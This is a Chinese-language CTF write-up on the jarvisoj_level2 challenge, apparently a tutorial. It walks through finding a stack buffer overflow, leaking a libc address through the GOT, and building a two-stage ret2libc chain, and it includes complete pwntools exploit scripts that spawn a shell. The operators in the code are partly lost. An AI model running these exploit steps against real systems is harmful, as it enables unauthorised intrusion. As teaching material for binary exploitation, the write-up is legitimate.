
1. 项目概述从一道经典赛题看栈溢出攻防的演进在CTF的Pwn二进制漏洞利用世界里jarvisoj_level2这道题堪称是无数逆向爱好者的“新手村毕业考试”。它不像那些简单的栈溢出给你一个明晃晃的system(“/bin/sh”)后门函数让你直接跳转。这道题的核心挑战在于它剥离了所有“捷径”将你置于一个更贴近真实漏洞利用的环境程序本身没有提供任何可以直接获取shell的函数并且它使用了动态链接库。这就像给你一把锁却不给你钥匙甚至不告诉你钥匙长什么样只告诉你钥匙可能在某个巨大的公共工具箱动态链接库里。而ret2libc技术就是教你如何在这个工具箱里仅凭手头有限的线索精准地找到并组装出那把能开锁的“钥匙”。这道题之所以经典是因为它完美地串联起了栈溢出利用的几个核心知识点基础的栈空间布局理解、动态链接机制在内存中的体现、以及如何利用程序已有的代码片段gadgets来组合成强大的攻击链。通过攻克它你不仅能拿到一个flag更能建立起对现代漏洞利用基础——返回导向编程ROP的直观认识。ret2libc是ROP思想的雏形和最简单实践理解了它就相当于拿到了通往更复杂漏洞利用世界的第一张门票。接下来我将带你一步步拆解这道题从信息收集、漏洞分析到最终构造出完整的利用链让你不仅知其然更知其所以然。2. 环境准备与初步信息收集在开始真正的“战斗”之前充分的侦察是胜利的一半。对于任何Pwn题第一步永远不是急着写exp漏洞利用脚本而是静下心来像法医一样对目标程序进行全面的“体检”。2.1 基础文件分析首先我们拿到题目文件level2。在Linux终端下第一件事就是使用file命令查看其基本信息file level2典型的输出会是level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]..., not stripped。这条信息量巨大ELF 32-bit LSB executable这是一个32位的小端序ELF可执行文件。这决定了我们后续构造payload时地址的写入顺序低字节在前。dynamically linked动态链接。这是本题的关键意味着程序的printf、read、system等库函数代码并不在程序文件本身里而是在运行时从共享库如libc.so.6中加载。我们无法直接在程序里找到system函数的地址。not stripped符号表未被剥离。这是一个好消息意味着函数名如main、vulnerable_function还保留着极大方便了我们逆向分析。接着用checksec工具检查程序的安全编译选项checksec --filelevel2你可能会看到类似这样的结果Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)No canary found栈上没有金丝雀Canary保护。这是栈溢出可利用的前提。如果有金丝雀我们需要先泄露或绕过它难度会大增。NX enabled栈不可执行。这意味着我们不能简单地把shellcode放在栈上然后跳转过去执行。这迫使我们必须使用ret2libc或ROP这类不依赖执行栈上代码的技术。No PIE程序本身的内存地址不是随机化的。0x8048000是32位ELF程序的典型加载基址。这意味着程序中main、vulnerable_function以及.plt、.got.plt等节区的地址是固定的、可预测的。这为我们计算偏移提供了便利。注意现代CTF题目和真实环境更常开启PIE地址空间布局随机化这使得程序基址随机。本题没有开启简化了利用但ret2libc的核心思想在开启PIE后依然适用只是需要先泄露一个已知地址来计算基址。2.2 漏洞点定位与逆向分析运行一下程序看看它的行为./level2。它可能只是打印一句话然后等待你的输入输入后再打印一些内容。我们需要知道它到底做了什么。用反汇编工具进行静态分析是更有效的方法。使用objdump或IDA Pro、Ghidra等工具。这里以命令行快速分析为例objdump -d level2 | less或者更针对性地查找main函数objdump -d level2 | grep -A 20 main:通过分析我们通常能快速定位到一个关键函数比如名为vulnerable_function或vuln的函数。使用objdump查看它objdump -d level2 | grep -A 30 vulnerable_function:你会看到类似如下的汇编代码片段关键部分08048484 vulnerable_function: 8048484: 55 push %ebp 8048485: 89 e5 mov %esp,%ebp 8048487: 83 ec 28 sub $0x28,%esp ; 在栈上开辟了0x2840字节的空间 804848a: 83 ec 04 sub $0x4,%esp 804848d: 68 00 02 00 00 push $0x200 ; 读取长度参数0x200 512字节 8048492: 8d 45 d8 lea -0x28(%ebp),%eax ; 缓冲区起始地址[ebp-0x28] 8048495: 50 push %eax 8048496: 6a 00 push $0x0 8048498: e8 b3 fe ff ff call 8048350 readplt ; 调用read函数 804849d: 83 c4 10 add $0x10,%esp 80484a0: 83 ec 0c sub $0xc,%esp 80484a3: 8d 45 d8 lea -0x28(%ebp),%eax 80484a6: 50 push %eax 80484a7: e8 94 fe ff ff call 8048340 putsplt 80484ac: 83 c4 10 add $0x10,%esp 80484af: 90 nop 80484b0: c9 leave 80484b1: c3 ret漏洞分析函数在栈上开辟了0x2840字节的空间作为缓冲区lea -0x28(%ebp),%eax。然而它调用read(0, buf, 0x200)时却允许我们向这个缓冲区写入最多512字节的数据。这明显超过了缓冲区的容量造成了经典的栈缓冲区溢出。read函数会忠实地将我们输入的数据从ebp-0x28处开始写入覆盖掉后面的栈内容包括保存的ebp和最重要的函数返回地址位于ebp4。计算偏移缓冲区起始于ebp-0x28。到ebp的距离是0x2840字节。覆盖掉ebp本身需要4字节32位。所以从缓冲区开始到返回地址的偏移量是0x28 4 0x2c44字节。也就是说我们填充44个字节的垃圾数据如‘A’后接下来的4个字节就会覆盖到函数的返回地址从而控制程序执行流。3. ret2libc 核心原理与利用链构建控制了返回地址我们该跳到哪里去既然栈不可执行程序里又没有system我们就需要从动态链接库libc里“借”代码来用。这就是ret2libcReturn-to-libc的核心思想。3.1 动态链接与PLT/GOT表初探理解ret2libc必须先理解动态链接的基本过程。当程序调用putsplt时发生了什么第一次调用puts时CPU跳转到.plt节区的putsplt条目。putsplt的第一条指令是跳转到GOT全局偏移表中对应puts的条目putsgot.plt。此时由于是第一次这个GOT条目里存放的并不是puts的真实地址而是一段“桩代码”的地址这段代码会去调用动态链接器ld-linux.so。动态链接器找到libc中puts函数的真实地址并将其写回putsgot.plt然后跳转过去执行。此后再次调用putsplt时由于GOT表已经被填充就会直接跳转到libc中的真实puts地址。这对我们的利用有何启示.plt表里面是跳转到GOT的短小代码片段地址在程序加载时是固定的本题无PIE。.got.plt表里面最终存放的是库函数的真实地址。这些地址是libc基址 函数在libc中的偏移。我们的目标system函数以及用于泄露地址的puts函数都在libc中。我们需要知道它们的准确地址。3.2 利用链设计两阶段攻击由于libc的加载地址在每次运行时是随机的ASLR我们无法直接知道system的地址。经典的ret2libc利用链通常分为两个阶段通过一次“迂回”来突破ASLR第一阶段泄露libc函数地址控制返回地址跳转到程序本身的putsplt。精心设置栈帧让puts去打印另一个已知函数如readgot.plt或putsgot.plt在GOT表里存放的内容——也就是该函数在libc中的真实地址。程序将这个地址打印出来我们通过接收输出就得到了一个已知函数在本次运行中的实际内存地址。第二阶段计算并调用system(“/bin/sh”)根据泄露出的函数地址减去该函数在libc中的固定偏移计算出本次运行中libc的基地址。在libc中system函数和字符串“/bin/sh”相对于基址的偏移是固定的可以通过工具查得。基址 system偏移 system本次运行的地址。基址 “/bin/sh”字符串偏移 该字符串本次运行的地址。再次触发漏洞或利用第一次攻击后程序未崩溃继续执行构造新的ROP链将返回地址指向system的地址并设置好参数“/bin/sh”的地址从而获得shell。对于jarvisoj_level2由于其逻辑简单一次输入后程序可能结束我们通常采用栈迁移或多次利用的技巧。更常见的解法是利用程序中已有的main或vulnerable_function的地址在第一次泄露后让程序再次返回到main重新执行从而进行第二次溢出攻击。这就是“一石二鸟”的攻击链。4. 详细利用过程与EXP编写理论清晰后我们开始动手构造攻击载荷Payload。我将使用pwntools这个强大的Python库来编写利用脚本exp.py。4.1 第一步搭建攻击框架与计算偏移首先确定偏移量。我们之前通过汇编分析得出偏移是44字节。我们可以写一个小脚本来动态确认这更稳妥from pwn import * context(archi386, oslinux, log_leveldebug) # 设置上下文 p process(./level2) # 本地启动程序 # 发送一个超长的、带模式的数据如cyclic字符串 payload cyclic(200) p.sendline(payload) p.wait() # 等待程序崩溃 # 从core dump中读取崩溃时的eip值 core p.corefile eip_value core.eip offset cyclic_find(eip_value) # 查找该值在cyclic模式中的位置 log.success(fOffset found: {offset})运行后很可能会确认偏移就是44。同时我们获取程序中的一些关键地址可以使用objdump或pwntools的ELF模块elf ELF(./level2) puts_plt elf.plt[puts] # puts函数在PLT的地址用于调用 read_got elf.got[read] # read函数在GOT的地址用于泄露 main_addr elf.symbols[main] # main函数地址用于让程序重新开始 vuln_addr elf.symbols[vulnerable_function] # 漏洞函数地址实操心得使用ELF模块自动解析地址比手动用objdump查找更不容易出错尤其是在函数较多时。确保你的pwntools版本支持这些属性。4.2 第二步构造第一阶段Payload泄露libc地址第一阶段的Payload结构如下[ 44字节填充物 ] [ putsplt地址 ] [ 返回地址我们期望执行的下一条指令地址 ] [ puts的参数1要打印的地址如read_got ]这里有个关键点在32位程序中函数参数是通过栈传递的。调用puts(addr)时CPU会先跳转到putsplt执行而putsplt末尾的ret指令会从栈上弹出下一条指令的地址作为返回地址。然而我们并不真的关心它返回到哪里我们只关心它执行puts。所以我们在putsplt后面放一个“返回地址”这个地址可以是任意值但为了程序能继续可控地执行比如回到main我们通常放main函数的地址。在main地址之后才是puts的参数。因此更准确的栈布局应该是buffer(44) | puts_plt | main_addr | read_got当vulnerable_function返回时跳转到puts_plt执行puts函数会把read_got地址处的值即read在libc中的地址打印出来然后puts返回返回到main_addr程序重新开始我们可以进行第二次攻击。编写第一阶段脚本from pwn import * context(archi386, oslinux) # p process(./level2) # 本地测试 p remote(node4.buuoj.cn, 28452) # 连接远程靶机端口需根据题目调整 elf ELF(./level2) puts_plt elf.plt[puts] read_got elf.got[read] main_addr elf.symbols[main] offset 44 # 构造第一阶段payload payload1 bA * offset payload1 p32(puts_plt) # 覆盖返回地址为putsplt payload1 p32(main_addr) # puts函数执行后的返回地址我们让它回到main payload1 p32(read_got) # puts函数的参数要打印的地址 p.recvuntil(Input:\n) # 接收程序提示具体字符串需根据题目输出调整 p.sendline(payload1) # 接收puts打印出的内容即read函数的真实地址 # puts输出字符串以换行符‘\n’结束但这里它打印的是地址可能包含不可打印字符。 # 我们接收4字节32位地址 leak_data p.recv(4) # 具体接收方式可能需要根据程序实际输出调整有时需要recvuntil或recvline配合 read_addr u32(leak_data) # 将4字节数据解包为整数 log.success(fLeaked read address: {hex(read_addr)})注意事项接收泄露的地址是编写exp时最容易出错的地方之一。puts会在打印的地址后自动加一个换行符\n。如果直接recvline()可能会把后面的其他输出也收进来。使用recv(4)是精准的但需要确保在这之前没有其他输出。最好结合recvuntil()先过滤掉提示信息并观察程序的实际输出流。有时需要recvuntil(‘\n’)来清空缓冲区。4.3 第三步计算libc基址与system地址拿到read_addr后我们需要知道所用libc版本中read和system以及字符串“/bin/sh”的偏移。这里有几种方法题目提供libc如果题目给了libc.so.6文件直接用libc ELF(‘./libc.so.6’)加载然后计算libc_base read_addr - libc.symbols[‘read’]。使用LibcSearcher在线或离线数据库这是一个强大的工具可以根据泄露的单个或多个函数地址来匹配可能的libc版本。已知环境在本地已知libc版本的情况下可以用readelf -s /lib/i386-linux-gnu/libc.so.6 | grep ‘ read’和grep ‘ system’等命令查找偏移。假设我们使用LibcSearcherfrom LibcSearcher import * # 根据泄露的read地址寻找libc版本 libc LibcSearcher(read, read_addr) libc_base read_addr - libc.dump(read) system_addr libc_base libc.dump(system) binsh_addr libc_base libc.dump(str_bin_sh) # 注意字符串符号名可能是‘str_bin_sh’ log.success(fLibc base: {hex(libc_base)}) log.success(fSystem address: {hex(system_addr)}) log.success(f/bin/sh address: {hex(binsh_addr)})如果本地测试且知道libc路径更简单libc ELF(/lib/i386-linux-gnu/libc.so.6) # 路径可能不同 libc_base read_addr - libc.symbols[read] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh\x00)) # 搜索字符串4.4 第四步构造第二阶段Payload获取Shell程序执行完第一阶段后已经返回到main我们可以再次触发漏洞。第二阶段的Payload目标明确调用system(“/bin/sh”)。 栈布局如下buffer(44) | system_addr | 任意4字节system的返回地址可随意 | binsh_addr这里任意4字节是system函数执行后的返回地址。因为我们的目标是拿到shell拿到后这个地址就没用了可以填充0xdeadbeef之类的占位符。编写第二阶段脚本接在第一阶段之后# 此时程序已经回到main等待第二次输入 p.recvuntil(Input:\n) # 再次接收提示 payload2 bA * offset payload2 p32(system_addr) payload2 p32(0xdeadbeef) # system的返回地址任意值 payload2 p32(binsh_addr) # system的参数/bin/sh字符串地址 p.sendline(payload2)发送后如果一切顺利system(“/bin/sh”)会被执行我们将得到一个shell。4.5 第五步交互与Flag获取拿到shell后我们就可以执行命令了p.interactive()在交互模式下输入命令如cat flag或ls; cat flag.txt等来读取flag。完整的EXP示例整合版使用本地已知libcfrom pwn import * context(archi386, oslinux, log_levelinfo) # 连接 p process(./level2) # p remote(node4.buuoj.cn, 28452) # 加载ELF elf ELF(./level2) libc ELF(/lib/i386-linux-gnu/libc.so.6) # 修改为你的libc路径 # 获取地址 puts_plt elf.plt[puts] read_got elf.got[read] main_addr elf.symbols[main] offset 44 # 阶段一泄露read地址 log.info(Phase 1: Leaking libc address...) payload1 bA * offset p32(puts_plt) p32(main_addr) p32(read_got) p.recvuntil(Input:\n) p.sendline(payload1) # 处理泄露的地址 leak_data p.recv(4) read_addr u32(leak_data) log.success(fLeaked readlibc: {hex(read_addr)}) # 计算libc基址和关键地址 libc_base read_addr - libc.symbols[read] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh\x00)) log.success(fLibc base: {hex(libc_base)}) log.success(fSystem: {hex(system_addr)}) log.success(f/bin/sh: {hex(binsh_addr)}) # 阶段二调用system(/bin/sh) log.info(Phase 2: Calling system(/bin/sh)...) payload2 bA * offset p32(system_addr) p32(0xdeadbeef) p32(binsh_addr) p.recvuntil(Input:\n) p.sendline(payload2) # 享受shell log.info(Got shell!) p.interactive()5. 常见问题、调试技巧与高阶思考即使按照步骤操作你也可能会遇到各种问题。这里记录一些常见的坑和调试技巧。5.1 栈对齐问题在32位程序中通常不明显但在64位ret2libc中调用函数前要求栈指针rsp按16字节对齐。如果直接跳转到systemplt可能会因为栈未对齐而崩溃。常见的解决方法是在跳转前先ret一次利用一个ret指令其机器码为c3来微调rsp。在32位下这个问题不突出但了解这个概念对后续学习64位利用很重要。5.2 接收数据出错这是编写EXP时最高频的问题。现象u32(p.recv(4))解包失败或得到的地址明显不对比如小于0x8048000这可能是打印了字符串的一部分。排查在发送第一阶段payload前加上pause()然后用gdb attach到进程单步跟踪看执行流是否按预期跳转到puts以及参数是否正确。在recv之前多尝试几种接收方式p.recvline()、p.recvuntil(‘\n’)、p.recv(4)并打印出原始数据p.recv(100)看看程序到底输出了什么。使用gdb.attach(p)在pwntools脚本中插入gdb.attach(p)运行脚本时会自动弹出gdb调试窗口可以直观地查看内存和寄存器状态。5.3 libc版本匹配问题现象本地能打通远程打不通或者计算出的system地址执行时崩溃。原因远程服务器使用的libc版本与你的本地或LibcSearcher匹配的版本不同。解决如果题目提供了libc.so文件一定要使用它来计算偏移。使用LibcSearcher时如果匹配出多个版本可以尝试用泄露的多个函数地址如puts和read来共同匹配提高准确性。最可靠的方法是泄露两个函数的地址然后通过在线libc数据库如https://libc.blukat.me/手动查询确定唯一的libc版本和基址。5.4 程序流程控制在jarvisoj_level2中我们让程序返回main进行二次利用。但有些程序可能没有这么简单的循环。这时就需要更精巧的ROP链可能需要在一次payload中完成泄露和调用。例如可以构造这样的链溢出 - puts(泄露地址) - vulnerable_function(再次溢出) - system(“/bin/sh”)。这需要你能控制栈帧让程序在执行完puts后不崩溃而是继续执行到另一个你设计好的地址。5.5 从ret2libc到通用ROPret2libc是ROP的一个特例它只使用了库函数作为“ gadget ”。完整的ROP技术会利用程序中所有以ret结尾的小片段gadgets来拼接出复杂的逻辑比如设置多个参数、进行算术运算等。工具如ROPgadget、ropper可以帮助你搜索可用的gadgets。理解ret2libc是迈向通用ROP的坚实一步。攻克jarvisoj_level2不仅仅是为了一个flag更是为了掌握一种在安全防护NX下进行漏洞利用的底层思维。它教会你如何利用程序已有的代码如何在信息有限的情况下动态获取关键数据如何将多个简单的操作串联成一条达成复杂目的的攻击链。这种“拼图”和“借力打力”的思想会贯穿在你后续学习更高级漏洞利用技术的始终。当你下次遇到更复杂的题目时不妨回想一下这道题先找溢出点再控执行流缺什么就泄露什么然后用已有的“积木”搭建你需要的功能。